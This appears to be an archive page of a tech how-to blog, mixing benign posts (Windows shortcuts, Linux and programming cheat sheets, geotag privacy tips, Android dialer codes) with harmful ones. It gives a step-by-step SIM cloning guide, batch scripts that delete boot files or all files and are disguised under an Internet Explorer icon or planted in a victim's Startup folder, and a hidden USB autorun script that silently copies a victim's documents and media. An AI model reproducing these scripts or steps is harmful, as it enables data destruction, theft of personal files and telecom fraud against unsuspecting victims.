Archive for the ‘How to….’ Category

tv - programer

Windows 8.1 is the latest operating system from Microsoft.

They have added as well as removed some of the features, which were present in earlier versions. No one can tell why these features were removed when they are working perfectly. One example is changing sounds while Logging on and off the system. This feature was present on Windows 7 and earlier versions but are now hidden from latest versions.

Today I will show you how to change Log Off and Log On sounds using registry key hack.
Perform the three simple steps below.

1. Press “Windows+ R” keys to open Run box. Type “regedit” and hit Enter.

2. Navigate to the hierarchy “HKEY_CURRENT_USER/AppEvents/EventLables”. Select “WindowsLogoff”.

3. Double click on “ExcludeFromCPL” from right pane and set the value from 1 to 0.

 

tv - programer

 

I know personally, I am not one of those people that can remember every detail of every language and never look anything up. It’s nice to have a cheat sheet with a quick summary of some of the most commonly used procedures, tags, tools, syntax, etc., saving time that would have been used to look it up on Google or dig through documentation either online or in printed text. The following is a list of links to several different cheat sheets on a wide variety of tasks and tools.

You can print them out and hang them on your wall (my personal choice) or simply bookmark them for easy access down the road. If you have any additional suggestions or see something I have missed, let me know…

 

Command Line

Windows Command Line Reference

BASH Command Line Reference

DOS Commands

 

Databases

MySQL Cheat Sheet

MySQL Reference List

Oracle Cheat Sheet

Oracle PL/SQL Cheat Sheet

Oracle 9i Server Reference (PDF)

Oracle 9i Command Reference

PostgreSQL Cheat Sheet

SQL Cheat Sheet

SQL Server 2005 Commands

 

Programming

Ada Syntax Card (PDF)

ASP/VBScript Cheat Sheet

C++ Language Summary

C++ Reference Sheet (PDF)

C++ Containers Cheat Sheet

C# Language Reference

Delphi Technical Reference Card (PDF)

Java Syntax Cheat Sheet

Java Quick Reference (PDF)

Java Reference for C++

JSP 2.0 Syntax Reference Sheet (PDF)

LaTEX Reference Card (PDF)

PERL Cheat Sheet

PERL Reference Card (PDF)

PERL Regular Expression Quick Reference (PDF)

PERL Reference Guide

PHP Cheat Sheet

PHP Developer Cheat Sheet

Python 101 Cheat Sheet

Python Cheat Sheet

Python Quick Reference (PDF)

Ruby Cheat Sheet (PDF)

Ruby Reference

Ruby on Rails Reference Sheet

 

Unix/Linux

Debian Linux Reference Guide (PDF)

Linux Shortcuts and Commands

One Page Linux Manual (PDF)

TCP Ports List

Treebeard’s Unix Cheat Sheet

Unix Command Line Tips

 

Web Development

Actionscript 2.0 Cheat Sheet (PDF)

Actionscript 3.0 Cheat Sheet (PDF)

CSS Cheat Sheet

CSS 2 Reference Card (PDF)

CSS Reference Sheet

CSS Shorthand Guide

CSS Useful Properties

Drupal 4.7 Cheat Sheet

.htaccess Cheat Sheet

HTML Cheat Sheet

HTML Dom Quick Reference Card (PDF)

Javascript Cheat Sheet

Javascript Quick Reference

Javascript Reference Page

JQuery Cheat Sheet (PDF)

JQuery Reference (PDF)

Mod_Rewrite Cheat Sheet

Scriptaculous Combination Effects Field Guide (PDF)

XHTML Cheat sheet

XHTML Reference

XHTML & HTML Cheat Sheet

XML Syntax Quick Reference (PDF)

XML Schema Reference (PDF)

XSLT and XPath Quick Reference (PDF)

 

Miscellaneous Topics

Ascii Codes Cheat Sheet

CVS Cheat Sheet

Regular Expressions Cheat Sheet

RGB Hex Colour Chart

Subversion Quick Reference (PDF)

Theoretical Computer Science Cheat Sheet (PDF)

UML Quick Reference Card (PDF)

UML Cheat Sheet

Vi Cheat Sheet

Vim Commands Cheat Sheet

XEmacs Commands Cheat Sheet

 

tv crime2

Before I start this guide, I would like to make one thing clear SIM CLONING is illegal. This tutorial should be used for educational purposes only.

First off a little introduction about SIM CARD:

Our SIM cards contain two secret codes or keys called (imsi value and ki value) which enables the operator to know the mobile number and authenticate the customer, these codes are related to our mobile numbers which the operators store in their vast database, it is based on these secret keys that enables the billing to be made to that customer.

SIM cloning extracting these two secret codes from the SIM and programme it into a new blank smart card (often known as wafer) since the operator authentication on SIM is based on these values, it enables us to fool the operators in thinking that it’s the original SIM, this authentication is a flaw with the GSM technology

Now which SIM cards can be cloned?

SIM cards are manufactured based on three algorithms COMP128v1, COMP128v2 and COMP128v3. It is important note currently only COMP128v1 version SIM cards can be cloned, since this is the only algorithm, which has been cracked, bear in mind that 70% of all the SIM cards we use are COMP128v1.

Cloning a card:

1. Buy a SIM card Reader

2. Need a Blank SIM card or super SIM card

3. Download and install MagicSIM

4. Download and install USB SIM Card Reader Software3.0.1.5

6. Go in phone tools, select SIM card, then select unlock SIM, it will prompt for a code.

7 Call network provider, they will ask for your phone number, your account info, name and security code, then they will ask why you want to unlock your SIM card, just tell them you need to unlock your SIM to get it to work with your overseas phone or something.

8. Once they give you the SIM unlock code, enter it, and it will say SIM unlocked.

9. Remove the SIM from your phone, place it in the card reader, click read from card in magic SIM the application.

10. When it displays ‘connected’, select crack SIM in the toolbar. Click strong ki and select all of the other find options and then click start.

11. Once your ki is found and the crack is finished, click file, save as and save your cracked SIM info to a file.

12. IMPORTANT!!! You must click disconnect from the file menu or you will ruin your SIM card.

Once it says disconnected, remove the SIM. Put the SIM in your phone and see if it still works, it should. (If not, either you did not unlock your SIM, or you tried to copy it instead of crack and save.)

13. Insert blank 3g card USB SIM Card Reader Software3.0.1.5, not magic SIM at this point.

14. Click connect

15. It should say ‘No Info Found’ if it is truly blank.

16. Select write to SIM, it will prompt you to select a dat file, select the one you saved earlier. Now click start, it will take about 10 minutes to write it, once it is complete, it will ask for a security code, enter the security code the network provider gave you, then click finish.

17. Your card is now cloned.

It should be noted that if you try to make two calls at the same time, one will connect; the other will say call failed, both phones will get the same messages, text and voice, and both will receive the same calls, but only one can talk at a time.

 

tv crime2
So this post has come about by one of my friends posting the below video from LiveLeak on Facebook which is quite terrifying if you are a parent. But have no fear I will tell you how to stop people from tracking you or your child.

video pic

Some cameras, smartphones and tablets add location data to each picture you take. This means that anyone who wants to can see the exact longitude and latitude of the image. Geotagging data is wonderful for finding out where a picture was taken. However, it may not be obvious if you don’t know how to view it. For those who want to find out whether photos have been geotagged before posting them online, it is important to know how to check. The process is simple and helps to have better control over your pictures.

Is Your Camera Geotagging

Before viewing or checking for location data, you should know whether your camera is geotagging your pictures. Any camera you use must have GPS enabled in order for geotagging to occur. This is most common in smartphones, but some digital cameras have this capability as well. Without this feature, no location data is embedded in images. Remember that this data, called EXIF data, is invisible unless you know how to look for it.

What You Need

To view EXIF data, all you need is a web browser. There is no need to download extra software on your computer. Navigate to Jeffrey’s EXIF Viewer. Unlike many other tools available, this one keeps it simple and focuses on location information so you don’t have to sort through a lot of unnecessary data. Another benefit is the wide variety of file types that are supported. You would have to have some extremely rare file types for this tool not to work for you.

Using Jeffrey’s EXIF Viewer

This tool provides two different options for viewing geotagged images. The first allows you to view information from images already online. The second allows you to check images before they are posted online.

For online images, open the picture in your browser. Copy the URL of the image. The quick way is to highlight the URL and press Ctrl + C. Open the browser window with Jeffrey’s EXIF Viewer. Paste (Ctrl + V) the URL into the Image URL box. Press View Image At URL. You will see a few details about the camera, the date the image was taken and finally the location data along with a map.

For images stored on your computer, press Browse beside the Local Image File box. Choose the file in question and press View Image From File. You will see the same data the online option.

Testing it

Here is a picture I took in the summer of an exhibition about the activist group Anonymous

Post Picture

Now right click on the image and select ‘Copy Link Address’

Navigate to http://regex.info/exif.cgi and pastie the link into the URL Image box

Hit ‘View Image at URL’ and there you go.

location

Although the image on the page is a bit small, you can see tones of data including an arrow pointing to the Museum of London in the UK which is correct.

Now just imagine if this was a picture of your child on a social media site and the person viewing wanted to track them or their school down. Have no fear the following steps will tell you how to stop this from happening.

What can you do to protect yourself from stalkers and other bad guys using geotags to track you down?

Consider turning off location services on some location sharing apps

Find the location sharing settings on your smartphone and turn off the ones that you think might pose a personal safety risk. You can always turn them back on later if you want to.

Most smartphones will let you turn off location sharing for individual apps as an alternative to turning them off globally.

There are some apps such as ‘Find My iPhone’ that you won’t want to disable location sharing on. If you do disable location sharing on apps like ‘Find My iPhone’, then your phone won’t be able to relay its position and you won’t be able to find it using the ‘Find My iPhone’ service should it get lost or stolen.

Remove geotags from your digital photos

If you want to remove geotag information from your image files then you can use an app such asdeGeo (iPhone) or Photo Privacy Editor (Android) to remove the geotag info from your photos.

Consider turning off the location sharing setting of your phone’s camera app as well so that the GPS info does not get recorded as part of the picture’s meta data, this will save you the hassle of having to strip out the location data later on.

How do I turn off Geotaging on my Smart phone

Android 4.2 phones

  1. Start camera application
  2. Hit the Settings button
  3. Scroll down and find the GPS Tag option and turn it off

In older versions, the option may be called “Store Location,” but is it essentially the same process.

BlackBerry 6.0 and 7.0

RIM suggests through the online documentation that disabling geotagging be done on BlackBerry Enterprise Server,  which would work from an admin’s point of view if an agency uses BES. If not, to turn the setting off on an individual BlackBerry  phone:

  1. Open Camera
  2. Set the Location icon to “Disabled”

For some earlier versions, hit the Menu and Option buttons before changing the setting.

iPhone 4 and 5

  1. Go to Settings
  2. Select General
  3. Select Location Services
  4. Set Camera to “Off”

For older versions users can’t really turn off geotagging for the camera without disabling it for all applications. But location warnings can be set to go off when an application is using them.

Windows Phone 7 and 8

  1. Go to Settings
  2. Navigate to Applications
  3. Scroll down to Pictures & Camera
  4. Set “include location (GPS) info in Pictures you take” to “Off”

I hope this has put your mind at ease, but if you do have any question please contact me. Also please share this on social media sites and on friends pages.

TV_Android

 

Today I will show you how to protect your phone, it includes:

  • Locate
  • Backup
  • Remote Control

First of all you need to download and install  “Lookout Security” on your Android Device.
Now when you downloaded and installed Lookout Security from Google Play, you need to create account and Activate Account.
Now your android phone is protected, lets login to Control Panel of Lookout and take control of Android phone.
If you think your phone is hijacked, you can simply login to Lookout Security web panel and Lock, Scream, Locate, Wipe or  your Android.

  • Lock – Premium feature! Lock your device to keep prying eyes out of your personal data while you find your device.
  • Scream – Sound a loud alarm to find a lost device nearby.
  • Wipe – Premium Feature! Wipe your device clean and erase all your personal data from your lost device.
  • Locate – Locate your Device on map using GPS.

TV_Android

Have you ever wanted to get a little more information from your Android device?

Just dial the below numbers (included the * and #’s)

Android Secrete codes
————————————
1. Phone Information, Usage and Battery – *#*#4636#*#*
2. IMEI Number – *#06#
3. Enter Service Menu On Newer Phones – *#0*#
4. Detailed Camera Information – *#*#34971539#*#*
5. Backup All Media Files – *#*#273282*255*663282*#*#*
6. Wireless LAN Test – *#*#232339#*#*
7. Enable Test Mode for Service – *#*#197328640#*#*
8. Back-light Test – *#*#0842#*#*
9. Test the Touchscreen – *#*#2664#*#*
10. Vibration Test – *#*#0842#*#*
11. FTA Software Version – *#*#1111#*#*
12. Complete Software and Hardware Info – *#12580*369#
13. Diagnostic Configuration – *#9090#
14. USB Logging Control – *#872564#
15. System Dump Mode – *#9900#
16. HSDPA/HSUPA Control Menu – *#301279#
17. View Phone Lock Status – *#7465625#
18. Reset the Data Partition to Factory State – *#*#7780#*#*
19. Format Your Device To Factory State(will delete everything on your phone) – *2767*3855#
20. Hidden Service Menu For Motorola Droid – ##7764726

tv-300x2241

Download the PDF cheat sheet >Caintech.co.uk Windows Shortcuts You Should All Know To Save Time

 

Windows Explorer Keyboard Shortcuts

* END (Display the bottom of the active window)

* HOME (Display the top of the active window)

* NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)

* NUM LOCK+Plus sign (+) (Display the contents of the selected folder)

* NUM LOCK+Minus sign (-) (Collapse the selected folder)

* LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)

* RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)

 

Shortcut Keys for Character Map

* After you double-click a character on the grid of characters, you can move through the grid by using the keyboard shortcuts:

* RIGHT ARROW (Move to the right or to the beginning of the next line)

* LEFT ARROW (Move to the left or to the end of the previous line)

* UP ARROW (Move up one row)

* DOWN ARROW (Move down one row)

* PAGE UP (Move up one screen at a time)

* PAGE DOWN (Move down one screen at a time)

* HOME (Move to the beginning of the line)

* END (Move to the end of the line)

* CTRL+HOME (Move to the first character)

* CTRL+END (Move to the last character)

* SPACEBAR (Switch between Enlarged and Nor mal mode when a character is selected)

 

Microsoft Management Console (MMC) Main Window Keyboard Shortcuts

* CTRL+O (Open a saved console)

* CTRL+N (Open a new console)

* CTRL+S (Save the open console)

* CTRL+M (Add or remove a console item)

* CTRL+W (Open a new window)

* F5 key (Update the content of all console windows)

* ALT+SPACEBAR (Display the MMC window menu)

* ALT+F4 (Close the console)

* ALT+A (Display the Action menu)

* ALT+V (Display the View menu)

* ALT+F (Display the File menu)

* ALT+O (Display the Favourites menu)

 

MMC Console Window Keyboard Shortcuts

* CTRL+P (Print the current page or active pane)

* ALT+Minus sign (-) (Display the window menu for the active console window)

* SHIFT+F10 (Display the Action shortcut menu for the selected item)

* F1 key (Open the Help topic, if any, for the selected item)

* F5 key (Update the content of all console windows)

* CTRL+F10 (Maximize the active console window)

* CTRL+F5 (Restore the active console window)

* ALT+ENTER (Display the Properties dialog box, if any, for the selected item)

* F2 key (Rename the selected item)

* CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the console)

 

Remote Desktop Connection Navigation

* CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)

* ALT+PAGE UP (Switch between programs from left to right)

* ALT+PAGE DOWN (Switch between programs from right to left)

* ALT+INSERT (Cycle through the programs in most recently used order)

* ALT+HOME (Display the Start menu)

* CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)

* ALT+DELETE (Display the Windows menu)

* CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer.)

* CTRL+ALT+Plus sign (+) (Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing ALT+PRINT SCREEN on a local computer.)

 

Internet Explorer navigation

* CTRL+B (Open the Organize Favourites dialog box)

* CTRL+E (Open the Search bar)

* CTRL+F (Start the Find utility)

* CTRL+H (Open the History bar)

* CTRL+I (Open the Favourites bar)

* CTRL+L (Open the Open dialog box)

* CTRL+N (Start another instance of the browser with the same Web address)

* CTRL+O (Open the Open dialog box, the same as CTRL+L)

* CTRL+P (Open the Print dialog box)

* CTRL+R (Update the current Web page)

* CTRL+W (Close the current window)

tv crime2

Now as you read this post you may think to yourself that you would like to try these scripts, well I will warn you again ‘Never Try These Hacks On Your Computer’. The safest way to try these is in a virtual machine, I recommend VMware player or VirtualBox, both are free for personal use.

We will be creating some batch files so you will need to ‘Show hidden files, folders and drives’ also untick the box ‘Hide extensions for known file types’

To do this type ‘folder options’ into the windows search bar  and you’ll be presented with the following dialog box.

folder options

 

 1) Crash A Computer With A Simple Link

This is a simple java script called “exploit”. This script can hang or crash your computer. This script just floods you up with the infinite number mailto:xxx windows. To prevent this you need to end the process of script before it runs out of your RAM. This can only be done by rebooting your computer before it fully utilizes your RAM.

WARNING THIS LINK WILL CRASH YOUR BROWSER OR WORSE, YOUR COMPUTER !!!!

 Click Here. (http://tiny.cc/ibJUN)

 2) Make Countless Number Of Folders With A Single Click

A simple 3 line code can be very dangerous and also quite funny. So paste the below code in notepad and save it as IE.bat

@echo off

:top

md %random%

goto top

@echo off > this command makes your screen appears blank but actually making the countless number of folders in the background

Md %random% > md %random% is a command for creating folders with random names. ( md is a command in dos for making directories)

Goto top > goto top is a command for to send the control to :top causing an infinite loop.

To make this more enticing drop the batch file on the C drive and create a shortcut on the desktop. Now right click on the shortcut and select ‘Properties’

Now select ‘Change Icon’ and browse to C:\Program Files\Internet Explorer\iexplore.exe

This has now given you an Internet Explorer icon that will execute the malicious batch file, delete the original IE icon from the desktop.

 

3) Shut Down Your PC For Ever

This is the most malicious hack, this will delete ALL system files and will stop the victims PC from booting.

To perform this copy the below text to a text file and save it as ‘Shutdown.bat’

You can always do the same as the above hack and copy it to the victims PC and send a shortcut to the desktop.

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

DON’T RUN THE BATCH FILE, YOU WONT BE ABLE TO RECOVER AFTER YOU RUN IT!!!

 4) RAM Crashing Trick.

Open notepad and type the following codes

:A

Start http://www.facebook.com

Goto A

save the file as facebook.bat

 This code will infinitely loop the browser to open http://www.facebook.com

5) Delete ALL System Files With Just 6 Character Command

Copy the following command in your notepad and save it as facebook.bat

Del *.*

So when the victim runs this file all the data will be deleted.

If you have access to the victims PC you can drop any of these batch files in a folder called ‘Start up’ this will then run when the user restarts their machine.

C:\Users\VICTIMS NAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

These are for educational purposes only, please do not use this information for malicious purposes. Caintech.co.uk take no responsibility for the actions of any individuals however feedback would be most appreciated.

 

tv crime2Please use responsibly, Caintech.co.uk take no responsibility for the use of the following information it should only be used for educational purposes

How to steal files with a USB

For this, you’ll need a USB device or anything that will plug into a PC and can hold data.

Step One-

Open Notepad and paste the code below

[autorun]
icon=icon.ico
open=explorer.bat
action=Open folders to view files
shell\open\command=launch.bat

Save it as Autorun.inf
paste to the USB an icon called icon.ico
change the “Open folders to view files”.

Step Two-

Open notepad again and paste the code below

@echo on
:: variables
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo on

%backupcmd% “%USERPROFILE%\Desktop\*.avi” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\Favorites” “%drive%\private\favorites”
%backupcmd% “%USERPROFILE%\Desktop\*.jpg” “%drive%\private\img”
%backupcmd% “%USERPROFILE%\Desktop\*.jpeg” “%drive%\private\img”
%backupcmd% “%USERPROFILE%\Desktop\*.bmp” “%drive%\private\img”
%backupcmd% “%USERPROFILE%\Desktop\*.3gp” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\Desktop\*.mp4” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\Desktop\*.wmv” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\Contacts” “%drive%\private\contacts”
%backupcmd% “%USERPROFILE%\Links” “%drive%\private\links”
%backupcmd% “%USERPROFILE%\My Documents\My Music” “%drive%\private\mp3”
%backupcmd% “%USERPROFILE%\My Documents\Downloads” “%drive%\private\downloads”
%backupcmd% “%USERPROFILE%\My Music” “%drive%\private\mp3”
%backupcmd% “%USERPROFILE%\My Documents\*.jpg” “%drive%\private\img”
%backupcmd% “%USERPROFILE%\My Documents\*.bmp” “%drive%\private\img”
%backupcmd% “%USERPROFILE%\My Documents\*.avi” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\My Documents\*.mpg” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\My Documents\*.3gp” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\My Documents\*.mp4” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\My Pictures” “%drive%\private\img”
%backupcmd% “%USERPROFILE%\Videos” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\Music” “%drive%\private\mp3”
%backupcmd% “%USERPROFILE%\Downloads” “%drive%\private\downloads”
%backupcmd% “D:\*.jpg” “%drive%\private\img”
%backupcmd% “D:\*.jpeg” “%drive%\private\img”
%backupcmd% “D:\*.bmp” “%drive%\private\img”
%backupcmd% “D:\*.3gp” “%drive%\private\vid”
%backupcmd% “D:\*.mp4” “%drive%\private\vid”
%backupcmd% “D:\*.avi” “%drive%\private\vid”
%backupcmd% “D:\*.wmv” “%drive%\private\vid”
%backupcmd% “D:\*.doc” “%drive%\private\documents”
%backupcmd% “D:\*.pdf” “%drive%\private\documents”
@echo on
cls

Save it as explorer.bat
this script copies files from Music/Videos/downloads/

Then these files are copied to their respective folders.
Note: create on your USB a folder called private
and on this folder create these folders:
contacts
documents
downloads
favourites
img
links
mp3
vid

Step 3

Open notepad again and paste the code below

CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False

Save it as invisible.vbs
This code runs explorer.bat as a process so it does not show the CMD prompt and everything the batch file is processing.

Step Four

Open notepad again for the last time and paste the code below

wscript.exe \invisible.vbs explorer.bat

Save this as launch.bat
This batch file does two things, it looks for the invisible.vbs file in the root of the Flash drive then loads it with explorer.bat so file.bat is run with code from vbs file.

Step Five

Paste all 4 files in the root of your flash drive. Don’t forget to paste the icon
Create the folders I mentioned in step 2.
If you want you can make the files and folders hidden so they won’t be visible 🙂
Note: This will work only if your target will click “Open folders to view files” so in order for this to work auto run must be enabled or you can get them to double click the icon.

(-_(-_(-_-)_-)_-)

tv-Linux

Following on from a recent post Nmap Cheat Sheet’I have decided to create another cheat sheet but this time for GNU/Linux as I am constantly referring to it for reference. These kind of things are very handy as if you are like myself and don’t use Linux on a daily basis they can play a major part in jogging the little grey cells.

Download:  Cheat Sheet commands for GNU/Linux

CheatSheet commands for GNU / Linux

System Information

1. arch: show the architecture of the machine (1).
2. uname -m: show the architecture of the machine (2)..
3. uname -r: show the kernel version used.
4. dmidecode -q: display the components (hardware) system.
5. hdparm -i /dev/hda: show the characteristics of a hard disk.
6. hdparm -tT /dev/sda: make reading test on a hard disk.
7. cat /proc/cpuinfo: CPU information show.
8. cat /proc/interrupts: show interrupts.
9. cat /proc/meminfo: verify memory usage.
10. cat /proc/swaps: show swap files.
11. cat /proc/version: display the version of the kernel.
12. cat /proc/net/dev: network adapters and display statistics.
13. cat /proc/mounts: display the mounted file system.
14. lspci -tv: show PCI devices.
15. lsusb -tv: show USB devices.
16. date: display the system date.
17. cal 2013: show calendar 2013.
18. cal 07 2013: show the calendar for the month July 2013.
19. date 041217002013.00: place (declare, set) date and time.
20. clock -w: save changes to the BIOS date.

Shutdown (Reset System or Log out)

1. shutdown -h now: Shut down system (1).
2. init 0: Shut down system (2).
3. telinit 0: Shut down system (3).
4. halt: shutdown the system (4).
5. shutdown -h hours:minutes &: planned shutdown of the system.
6. shutdown -c: cancel a planned shutdown of the system.
7. shutdown -r now: Restart (1).
8. reboot: Reboot (2).
9. logout: close session.

Files and Directories

1. cd /home: enter the “home” directory.
2. cd ..: go back one level.
3. cd ../..: back 2 levels.
4. cd: go to the root directory.
5. cd ~user1: go to directory user1.
6. cd -: go (back) to the previous directory.
7. pwd: : show the path of the working directory.
8. ls: see the files in a directory.
9. ls -F: see the files in a directory.
10. ls -l: show details of files and folders in a directory.
11. ls -a: show hidden files.
12. ls *[0-9]*: show the files and folders that contain numbers.
13. tree: display files and folders in a tree starting from the root. (1)
14. lstree: display files and folders in a tree starting from the root. (2)
15. mkdir dir1: create a folder or directory called ‘dir1’.
16. mkdir dir1 dir2: create two folders or directories simultaneously (Create two directories at once)
17. mkdir -p /tmp/dir1/dir2: create a directory tree.
18. rm -f file1: delete the file called file1.
19. rmdir dir1: delete the folder called dir1.
20. rm -rf dir1: delete a folder called dir1 with its contents recursively.
21. rm -rf dir1 dir2: delete two folders (directories) with its contents recursively.
22. mv dir1 new_dir: rename or move a file or folder (directory).
23. cp file1: copy a file.
24. cp file1 file2: copy two files together.
25. cp dir /* . : copy all the files in a directory within the current working directory.
26. cp -a /tmp/dir1 . : copy a directory within the current working directory.
27. cp -a dir1: copy a directory.
28. cp -a dir1 dir2: copy two directories.
29. ln -s file1 lnk1: create a symbolic link to the file or directory.
30. ln file1 lnk1: creating a physical link to the file or directory.
31. touch -t 0712250000 file1: modify the real time (time of creation) of a file or directory.
32. file file1: output (screen dump)
33. iconv -l: lists of known encryption.
34. iconv -f fromEncoding -t toEncoding inputFile > outputFile: creates a new form of the input file is encoded in assuming and making a ToEncoding fromEncoding.
35. find . -maxdepth 1 -name *.jpg -print -exec convert ”{}” -resize 80×60 “thumbs/{}” \;: grouping resized files in the current directory and send them to directories in thumbnail view (requires converting from ImageMagick).

Finding Files

1. find / -name file1: file and directory search from the root of the system.
2. find / -user user1: find files and directories belonging to user user1.
3. find /home/user1 -name \*.bin: search files with extension ‘. bin ‘directory within it’ / home/user1.
4. find /usr/bin -type f -atime +100: look at binary files used in the last 100 days.
5. find /usr/bin -type f -mtime -10: find the changed files created within the last 10 days.
6. find / -name \*.rpm -exec chmod 755 ‘{}’ \;: look for files with extension. ‘rpm’ and change permissions.
7. find / -xdev -name \*.rpm: Find files with extension ‘. rpm’ ignoring them removable devices such as cdrom, pen-drive, etc ….
8. locate \*.ps: find files with extension. ‘ps’ primarily executed with the command ‘updatedb’.
9. whereis halt: show the location of a binary file. In this case you are wondering Where he command ‘halt’
10. which halt: show the full path (full path to it) to a binary / executable.

Mounting a file system

1. mount /dev/hda2 /mnt/hda2: mount a disk called hda2. Check first the existence of the directory ‘/ mnt/hda2?, If not, create it.
2. umount /dev/hda2: removing a disk called hda2. Out first from point ‘/ mnt/hda2.
3. fuser -km /mnt/hda2: force umount when the device is busy.
4. umount -n /mnt/hda2: running disassembly without reading the file / etc / mtab. Useful when the file is read-only or the hard drive is full.
5. mount /dev/fd0 /mnt/floppy: mount a floppy disk (floppy).
6. mount /dev/cdrom /mnt/cdrom: mount a cdrom / dvdrom.
7. mount /dev/hdc /mnt/cdrecorder: mount a rewritable cd or dvdrom.
8. mount /dev/hdb /mnt/cdrecorder: mount a rewritable cd / dvdrom (a dvd).
9. mount -o loop file.iso /mnt/cdrom: mount a file or iso image.
10. mount -t vfat /dev/hda5 /mnt/hda5: mount a FAT32 file system.
11. mount /dev/sda1 /mnt/usbdisk: mount a usb thumb drive or a memory (without specifying the filesystem type).

Hard Disk Space

1. df -h: display a list of mounted partitions.
2. ls -lSr |more: show the size of the files and directories sorted by size.
3. du -sh dir1: Estimate the space used by the directory dir1.
4. du -sk * | sort -rn: show the size of the files and directories sorted by size.
5. rpm -q -a –qf ‘%10{SIZE}t%{NAME}n’ | sort -k1,1n: show space used by the installed rpm packages organized by size (Fedora, Redhat and others).
6. dpkg-query -W -f=’${Installed-Size;10}t${Package}n’ | sort -k1,1n: show space used by the packages installed, organized by size (Ubuntu, Debian and others) .

Users and Groups

1. groupadd name_of_the_group: create a new group.
2. groupdel name_of_the_group: delete a group.
3. groupmod -n new_name_of_the_group old_name_of_the_group: rename a group.
4. useradd -c “Name Surname ” -g admin -d /home/user1 -s /bin/bash user1: Create a new user belonging to the “admin”.
5. useradd user1: create a new user.
6. userdel -r user1: delete a user (‘-r’ eliminates home directory).
7. usermod -c “User FTP” -g system -d /ftp/user1 -s /bin/nologin user1: change user attributes.
8. passwd: Changing password.
9. passwd user1: change the password of a user (only root).
10. chage -E 2013-12-31 user1: place a time limit for the user’s password. In this case says that the key expires on December 31, 2013.
11. pwck: correct syntax check the file format of ‘/ etc / passwd’ and the existence of users.
12. grpck: check correct syntax and format of the file ‘/ etc / group’ and the existence of groups.
13. newgrp group_name: Registers a new group to change the default group of newly created files.

File Permissions (Use “+” to place permissions and “-” to remove)

1. ls -lh: Show permissions.
2. ls /tmp | pr -T5 -W$COLUMNS: Terminal divided into 5 columns.
3. chmod ugo+rwx directory1: : enable read permissions (r) , write (w) and execute (x) to the owner (u) group (g) and others (o) on the directory ‘directory1
4. chmod go-rwx directory1: remove read permission (r), write (w) and (x) running the group (g) and others (o) on the directory ‘directory1
5. chown user1 file1: cchange owner of a file.
6. chown -R user1 directory1: change the owner of a directory and all files and directories contained within.
7. chgrp group1 file1: changing group of files.
8. chown user1:group1 file1: change user and group ownership of a file.
9. find / -perm -u+s: display all system files with SUID configured.
10. chmod u+s /bin/file1: set the SUID bit on a binary file. The user that running that file takes the same privileges as the owner.
11. chmod u-s /bin/file1: disable SUID bit on a binary file.
12. chmod g+s /home/public: place a SGID bit on a directory-similar to SUID but for directory.
13. chmod g-s /home/public: disable SGID bit on a directory.
14. chmod o+t /home/public: place a bit STIKY in a directory. Allows deletion of files only rightful owners.
15. chmod o-t /home/public: STIKY disable bit in a directory.


Special Attributes on files (Use “+” to place permissions and “-” to remove)

1. chattr +a file1: allows to writte by opening a file only append mode.
2. chattr +c file1: allows a file to be compressed / decompressed automatically.
3. chattr +d file1: ensures that the program ignore delete files during backup.
4. chattr +i file1: convert the file unchanged, so it can not be removed, altered, renamed, or bound.
5. chattr +s file1: allows a file to be deleted safely.
6. chattr +S file1: ensures that a file is modified, the changes are written in synchronous mode as with sync.
7. chattr +u file1: allows you to restore the contents of a file even if it is canceled.
8. lsattr: show special attributes.


Compressed files

1. bunzip2 file1.bz2: decompress in file called ‘file1.bz2.
2. bzip2 file1: compress a file called file1.
3. gunzip file1.gz: decompress a file called ‘file1.gz.
4. gzip file1: compress a file called ‘file1.
5. gzip -9 file1: compress with maximum compression.
6. rar a file1.rar test_file: create a zip file called ‘file1.rar’.
7. rar a file1.rar file1 file2 dir1: compress ‘file1,’ file2 and ‘dir1Simultaneously.
8. rar x file1.rar: decompress rar file.
9. unrar x file1.rar: decompress rar file.
10. tar -cvf archive.tar file1: create an uncompressed tarball.
11. tar -cvf archive.tar file1 file2 dir1: create an archive containing ‘file1,file2 and dir1.
12. tar -tf archive.tar: show contents a file.
13. tar -xvf archive.tar: extract a tarball.
14. tar -xvf archive.tar -C /tmp: extract a tarball in / tmp.
15. tar -cvfj archive.tar.bz2 dir1: create a tarball compressed into bzip2.
16. tar -xvfj archive.tar.bz2: decompress a bzip2 compressed tar file.
17. tar -cvfz archive.tar.gz dir1: create a gzip tarball.
18. tar -xvfz archive.tar.gz: decompress a gzip compressed tar archive.
19. zip file1.zip file1: create a zip file.
20. zip -r file1.zip file1 file2 dir1: compress in zip several files and directories simultaneously.
21. unzip file1.zip: decompress a zip file.


RPM Packages (Red Hat, Fedora…etc)

1. rpm -ivh package.rpm: install an rpm package.
2. rpm -ivh –nodeeps package.rpm: installing an rpm package ignoring dependencies requests.
3. rpm -U package.rpm: upgrade a rpm package without changing configuration files.
4. rpm -F package.rpm: upgrade a rpm package only if it is installed.
5. rpm -e package_name.rpm: remove a rpm package.
6. rpm -qa: show all rpm packages installed on the system.
7. rpm -qa | grep httpd: show all rpm packages with the name “httpd”.
8. rpm -qi package_name: get information on a specific package installed.
